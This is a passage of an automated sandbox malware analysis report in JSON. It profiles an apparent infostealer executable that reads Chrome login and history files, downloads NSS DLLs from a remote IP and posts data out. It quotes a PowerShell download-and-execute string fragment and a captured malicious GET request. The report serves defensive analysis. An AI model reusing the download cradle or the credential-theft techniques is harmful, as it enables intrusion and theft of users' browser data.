\"chrome.dll\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n \"freebl3.dll\" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n \"mozglue.dll\" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n \"msvcp140_1_.dll\" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n \"softokn3_1_.dll\" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n \"vcruntime140.dll\" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT","id":"static-154","level":"informative","name":"File contains dynamic base/NX flags","origin":"Static Parser","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"\"bf3bc85903e812ff6a136924bf8ab376.exe\" has an writable section named \".data\"\n \"bf3bc85903e812ff6a136924bf8ab376.exe\" has an writable section named \".hapi\"\n \"nss3_1_.dll\" has an writable section named \".data\"\n \"chrome.dll\" has an writable section named \".data\"\n \"freebl3.dll\" has an writable section named \".data\"\n \"mozglue.dll\" has an writable section named \".data\"\n \"mozglue.dll\" has an writable section named \".tls\"\n \"msvcp140_1_.dll\" has an writable section named \".data\"\n \"msvcp140_1_.dll\" has an writable section named \".didat\"\n \"softokn3_1_.dll\" has an writable section named \".data\"\n \"vcruntime140.dll\" has an writable section named \".data\"","id":"static-95","level":"informative","name":"PE file contains writable sections","origin":"Static Parser","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"$34","id":"target-103","level":"informative","mitre_attack_id":"T1057","name":"Spawns new processes that are not known child processes","origin":"Monitored Target","relevance":3,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"bf3bc85903e812ff6a136924bf8ab376.exe\" queries basic process information of the \"C:\\bf3bc85903e812ff6a136924bf8ab376.exe\" (UID: 1720)","id":"api-235","level":"informative","mitre_attack_id":"T1057","name":"Queries basic information of the specified process","origin":"API Call","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Network Related","description":"Found ip/domain with port number \"http://localhost:9229\"","id":"summary-25","level":"informative","mitre_attack_id":"T1571","name":"References server/domain address with port number","origin":"Indicator Combinations","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"bf3bc85903e812ff6a136924bf8ab376.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"bf3bc85903e812ff6a136924bf8ab376.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"8\"\n \"th32ProcessID\": \"0\"}\n \"bf3bc85903e812ff6a136924bf8ab376.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"2\"\n \"th32ProcessID\": \"0\"}","id":"api-103","level":"informative","mitre_attack_id":"T1057","name":"Calls an API typically used for taking snapshot of the specified processes","origin":"API Call","relevance":3,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Anti-Reverse Engineering","description":"Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"OutputDebugStringW\" (Indicator: \"OutputDebugString\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"OutputDebugStringA\" (Indicator: \"OutputDebugString\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")","id":"string-183","level":"informative","mitre_attack_id":"T1622","name":"Contains ability to check debugger is running (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"SystemTimeToFileTime\" (Indicator: \"SystemTimeToFileTime\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"SystemTimeToFileTime\" (Indicator: \"SystemTimeToFileTime\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00001720.00000000.180784.050C0000.00000040.mdmp\")","id":"string-249","level":"informative","mitre_attack_id":"T1070.006","name":"Contains ability to retrieve file time (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"Launches browser \"chrome.exe\" (UID: 00000000-00000196)\n Launches browser \"chrome.exe\" (UID: 00000000-00006756)\n Launches browser \"chrome.exe\" (UID: 00000000-00007000)\n Launches browser \"chrome.exe\" (UID: 00000000-00006260)\n Launches browser \"chrome.exe\" (UID: 00000000-00007420)\n Launches browser \"chrome.exe\" (UID: 00000000-00007728)\n Launches browser \"chrome.exe\" (UID: 00000000-00004512)\n Launches browser \"chrome.exe\" (UID: 00000000-00006444)\n Launches browser \"chrome.exe\" (UID: 00000000-00004112)\n Launches browser \"chrome.exe\" (UID: 00000000-00007660)\n Launches browser \"msedge.exe\" (UID: 00000000-00004516)\n Launches browser \"msedge.exe\" (UID: 00000000-00003556)\n Launches browser \"msedge.exe\" (UID: 00000000-00005000)\n Launches browser \"msedge.exe\" (UID: 00000000-00006460)\n Launches browser \"msedge.exe\" (UID: 00000000-00003916)\n Launches browser \"msedge.exe\" (UID: 00000000-00007052)\n Launches browser \"msedge.exe\" (UID: 00000000-00007360)\n Launches browser \"msedge.exe\" (UID: 00000000-00006804)","id":"target-21","level":"informative","name":"Launches a browser","origin":"Monitored Target","relevance":3,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"Found string \"-nop -c \"iex(New-Object Net.WebClient).DownloadString('\" (Indicator: \"New-Object\"; Source: \"00000000-00001720.00000000.180784.050C0000.00000040.mdmp\")","id":"string-187","level":"informative","mitre_attack_id":"T1059.001","name":"Observed Powershell command strings","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"\"bf3bc85903e812ff6a136924bf8ab376.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")\n \"bf3bc85903e812ff6a136924bf8ab376.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"bf3bc85903e812ff6a136924bf8ab376.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")","id":"registry-25","level":"informative","mitre_attack_id":"T1082","name":"Reads information about supported languages","origin":"Registry Access","relevance":3,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"bf3bc85903e812ff6a136924bf8ab376.exe\" writes file \"c:\\programdata\\chrome.dll\"\n \"bf3bc85903e812ff6a136924bf8ab376.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\microsoft\\windows\\inetcache\\ie\\4ekoowyy\\json[1].json\"\n \"bf3bc85903e812ff6a136924bf8ab376.exe\" writes file \"c:\\programdata\\giiiecbgdhjjkfidakjd\"\n \"bf3bc85903e812ff6a136924bf8ab376.exe\" writes file \"c:\\programdata\\iijdbgdg\"\n \"bf3bc85903e812ff6a136924bf8ab376.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\microsoft\\windows\\inetcache\\ie\\t1mm1x3a\\json[1].json\"\n \"bf3bc85903e812ff6a136924bf8ab376.exe\" writes file \"c:\\programdata\\cakfijdhjegidhjkkkjj\"\n \"bf3bc85903e812ff6a136924bf8ab376.exe\" writes file \"c:\\programdata\\fcbaecgi\"\n \"bf3bc85903e812ff6a136924bf8ab376.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\microsoft\\windows\\inetcache\\ie\\4ekoowyy\\freebl3[1].dll\"\n \"bf3bc85903e812ff6a136924bf8ab376.exe\" writes file \"c:\\programdata\\freebl3.dll\"","id":"api-242","level":"informative","name":"Writes files","origin":"API Call","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Network Related","description":"$35","id":"string-457","level":"informative","mitre_attack_id":"T1071.001","name":"Found string related to HTTP headers","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$36","id":"string-57","level":"informative","mitre_attack_id":"T1027","name":"Contains CRYPTO related strings","origin":"File/Memory","relevance":3,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"bf3bc85903e812ff6a136924bf8ab376.exe\" queries volume information of \"C:\\\" at 00000000-00001720-00000C15-1835020012\n \"bf3bc85903e812ff6a136924bf8ab376.exe\" queries volume information of \"C:\\\" at 00000000-00001720-00000C15-1835708791","id":"api-11","level":"informative","mitre_attack_id":"T1082","name":"Queries volume information","origin":"API Call","relevance":2,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$37","id":"registry-177","level":"informative","mitre_attack_id":"T1012","name":"Opens registry keys","origin":"Registry Access","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GetEnvironmentVariableA\" (Indicator: \"GetEnvironmentVariable\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GetEnvironmentVariableA\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")\n Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00001720.00000000.180784.050C0000.00000040.mdmp\")","id":"string-107","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve the host's architecture (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"System Security","description":"Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")","id":"string-474","level":"informative","mitre_attack_id":"T1543.003","name":"Contains ability to access device drivers","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"System Security","description":"Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp, 00000000-00001720.00000000.180784.050C0000.00000040.mdmp\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp, 00000000-00001720.00000000.180784.050C0000.00000040.mdmp\")\n Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00001720.00000000.180784.050C0000.00000040.mdmp\")","id":"string-316","level":"informative","mitre_attack_id":"T1489","name":"Contains ability to terminate a process (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"System Security","description":"$38","id":"registry-173","level":"informative","mitre_attack_id":"T1007","name":"Queries services related registry keys","origin":"Registry Access","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Observed string: \"HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0\" (Indicator: \"hardware\\description\\system\\centralprocessor\") in Source: 00000000-00001720.00000000.180784.03070000.00000004.mdmp","id":"string-351","level":"informative","mitre_attack_id":"T1082","name":"Found registry location string related to processor","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Network Related","description":"Found reference to API \"InternetConnectA\" (Indicator: \"InternetConnect\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")","id":"string-538","level":"informative","mitre_attack_id":"T1071","name":"Contains ability to create a HTTP or FTP session (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")","id":"string-534","level":"informative","mitre_attack_id":"T1083","name":"Contains ability to read files (API string)","origin":"File/Memory","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$39","id":"string-207","level":"informative","mitre_attack_id":"T1083","name":"Contains ability to retrieve file and directory information (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"details too long to display","id":"network-4","level":"suspicious","mitre_attack_id":"T1041","name":"POSTs data to a webserver","origin":"Network Traffic","relevance":5,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$3a","id":"api-96","level":"malicious","mitre_attack_id":"T1005","name":"Tries to steal browser sensitive information (file access)","origin":"API Call","relevance":10,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Network Related","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","id":"network-54","level":"informative","mitre_attack_id":"T1573","name":"Making HTTPS connections using secure TLS/SSL version","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"System Security","description":"Found reference to API \"SetFileAttributesA\" (Indicator: \"SetFileAttributes\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")","id":"string-426","level":"informative","mitre_attack_id":"T1222","name":"Contains ability to modify file attributes (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"System Security","description":"$3b","id":"static-87","level":"informative","mitre_attack_id":"T1134.001","name":"Imports system security related APIs","origin":"Static Parser","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"bf3bc85903e812ff6a136924bf8ab376.exe\" reads file \"c:\\users\\%osuser%\\appdata\\local\\google\\chrome\\user data\\local state\"\n \"bf3bc85903e812ff6a136924bf8ab376.exe\" reads file \"c:\\users\\%osuser%\\appdata\\local\\google\\chrome\\user data\\default\\history\"\n \"bf3bc85903e812ff6a136924bf8ab376.exe\" reads file \"c:\\users\\%osuser%\\appdata\\local\\google\\chrome\\user data\\default\\login data\"\n \"bf3bc85903e812ff6a136924bf8ab376.exe\" reads file \"c:\\programdata\\giiiecbgdhjjkfidakjd\"\n \"bf3bc85903e812ff6a136924bf8ab376.exe\" reads file \"c:\\users\\%osuser%\\appdata\\local\\google\\chrome\\user data\\default\\web data\"\n \"bf3bc85903e812ff6a136924bf8ab376.exe\" reads file \"c:\\programdata\\iijdbgdg\"","id":"api-243","level":"informative","mitre_attack_id":"T1083","name":"Reads files","origin":"API Call","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: PCAP contains base64 strings\n Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES encryption","id":"summary-32","level":"informative","mitre_attack_id":"T1140","name":"Shows ability to deobfuscate/decode files or information","origin":"Indicator Combinations","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GetSystemTimeAdjustment\" (Indicator: \"GetSystemTime\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001720.00000000.180784.050C0000.00000040.mdmp\")","id":"string-365","level":"informative","mitre_attack_id":"T1029","name":"Contains ability to perform scheduled transfer (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"$3c","id":"api-175","level":"informative","mitre_attack_id":"T1129","name":"Calls an API typically used to load libraries","origin":"API Call","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"\"95.215.204.131:80\"\n \"142.250.80.99:443\"\n \"142.251.167.84:443\"\n \"142.250.65.196:443\"\n \"142.251.40.99:443\"","id":"network-1","level":"informative","mitre_attack_id":"T1071","name":"Contacts server","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"CreateFileA\" (Indicator: \"CreateFile\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"CreateFileMappingA\" (Indicator: \"CreateFile\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"CreateFileA\" (Indicator: \"CreateFile\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00001720.00000000.180784.050C0000.00000040.mdmp\")","id":"string-315","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to create/open files (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"\"nss3_1_.dll\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"chrome.dll\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"freebl3.dll\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"mozglue.dll\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"msvcp140_1_.dll\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"softokn3_1_.dll\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"vcruntime140.dll\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","id":"static-146","level":"informative","name":"PE file contains Debug data directory","origin":"Static Parser","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"gethostname\" (Indicator: \"gethostname\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")","id":"string-532","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve the host name of a computer (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"Found string \"/9c4ff1f7c1a7004e/softokn3.dll\" (Indicator: \"softokn3.dll\"; File: \"PCAP\")\n Found string \"GET /9c4ff1f7c1a7004e/softokn3.dll HTTP/1.1Host: 95.215.204.131Cache-Control: no-cache\" (Indicator: \"softokn3.dll\"; File: \"PCAP\")\n Found string \"%ALLUSERSPROFILE%\\nss3.dll\" (Indicator: \"\\nss3.dll\"; Source: \"00000000-00001720-00000C28-1858235631\")\n Found string \"softokn3.dll\" (Indicator: \"softokn3.dll\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")\n Found string \"C:\\ProgramData\\nss3.dll\" (Indicator: \"\\nss3.dll\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")","id":"string-493","level":"informative","mitre_attack_id":"T1486","name":"Contains reference to crypto DLLs","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"bf3bc85903e812ff6a136924bf8ab376.exe\" called \"IsWow64Process\" with parameter \"1720\" - (UID: 00000000-00001720)","id":"api-146","level":"informative","mitre_attack_id":"T1057","name":"Calls an API typically used to determine if process is running under WOW64","origin":"API Call","relevance":3,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"CreateProcessA\" (Indicator: \"CreateProcess\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"CreateProcessA\" (Indicator: \"CreateProcess\"; Source: \"00000000-00001720.00000000.180784.050C0000.00000040.mdmp\")","id":"string-204","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to create a new process (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"$3d","id":"target-67","level":"informative","mitre_attack_id":"T1057","name":"Process launched with changed environment","origin":"Monitored Target","relevance":10,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"bf3bc85903e812ff6a136924bf8ab376.exe\" called \"NtQueueApcThread\" (UID: 00000000-00001720)","id":"api-85","level":"informative","mitre_attack_id":"T1055.004","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","origin":"API Call","relevance":3,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Network Related","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")","id":"string-228","level":"informative","mitre_attack_id":"T1095","name":"Contains ability to communicate with C2 using Sockets (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetComputerNameW\" (Indicator: \"GetComputerName\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GetComputerNameA\" (Indicator: \"GetComputerName\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GetComputerNameA\" (Indicator: \"GetComputerName\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")\n Found reference to API \"5278364256,4572,3144,,GetComputerNameW,kernel32.dll,\"00:47:02.031\",RX=0,PX=0\" (Indicator: \"GetComputerName\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")\n Found reference to API \"73473330,4572,3144,,GetComputerNameW,kernel32.dll,\"00:47:03.984\",RX=0,PX=0\" (Indicator: \"GetComputerName\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")","id":"string-122","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"System Security","description":"Found reference to API \"DefineDosDeviceA\" (Indicator: \"DefineDosDevice\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")","id":"string-466","level":"informative","mitre_attack_id":"T1543.003","name":"Contains ability to set/delete MS-DOS device name (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"bf3bc85903e812ff6a136924bf8ab376.exe\" queries volume information of \"C:\\\" at 00000000-00001720-00000C15-1835020012\n \"bf3bc85903e812ff6a136924bf8ab376.exe\" queries volume information of \"C:\\\" at 00000000-00001720-00000C15-1835708791","id":"api-39","level":"informative","mitre_attack_id":"T1082","name":"Queries volume information of an entire harddrive","origin":"API Call","relevance":8,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"$3e","id":"string-338","level":"informative","mitre_attack_id":"T1132","name":"Contains ability to perform Base64 encoding/decoding","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"Assembly shows XOR instruction xor eax\n ebp in Stream UID: 10868-467-0040D5EF\n Assembly shows XOR instruction xor ecx\n ebp in Stream UID: 10868-467-0040D5EF\n Assembly shows XOR instruction xor eax\n ebp in Stream UID: 10868-469-0040A9A5\n Assembly shows XOR instruction xor ecx\n ebp in Stream UID: 10868-469-0040A9A5\n Assembly shows XOR instruction xor eax\n ebp in Stream UID: 10868-443-00404EDA\n Assembly shows XOR instruction xor eax\n ebp in Stream UID: 10868-465-0040A6F2\n Assembly shows XOR instruction xor ecx\n ebp in Stream UID: 10868-465-0040A6F2\n Assembly shows XOR instruction xor eax\n ebp in Stream UID: 10868-135-00405630\n Assembly shows XOR instruction xor ecx\n ebp in Stream UID: 10868-135-00405630","id":"stream-139","level":"informative","mitre_attack_id":"T1027.005","name":"Contains XOR operation loops [Stream disassembly]","origin":"Hybrid Analysis Technology","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"bf3bc85903e812ff6a136924bf8ab376.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00001720)","id":"api-147","level":"informative","mitre_attack_id":"T1614","name":"Calls an API typically used to retrieve local language","origin":"API Call","relevance":3,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"bf3bc85903e812ff6a136924bf8ab376.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"bf3bc85903e812ff6a136924bf8ab376.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")","id":"registry-78","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to read software policies","origin":"Registry Access","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetKeyboardLayoutNameA\" (Indicator: \"GetKeyboardLayout\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GetUserDefaultLangID\" (Indicator: \"GetUserDefaultLangID\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")\n Found reference to API \"GetKeyboardLayoutList\" (Indicator: \"GetKeyboardLayoutList\"; Source: 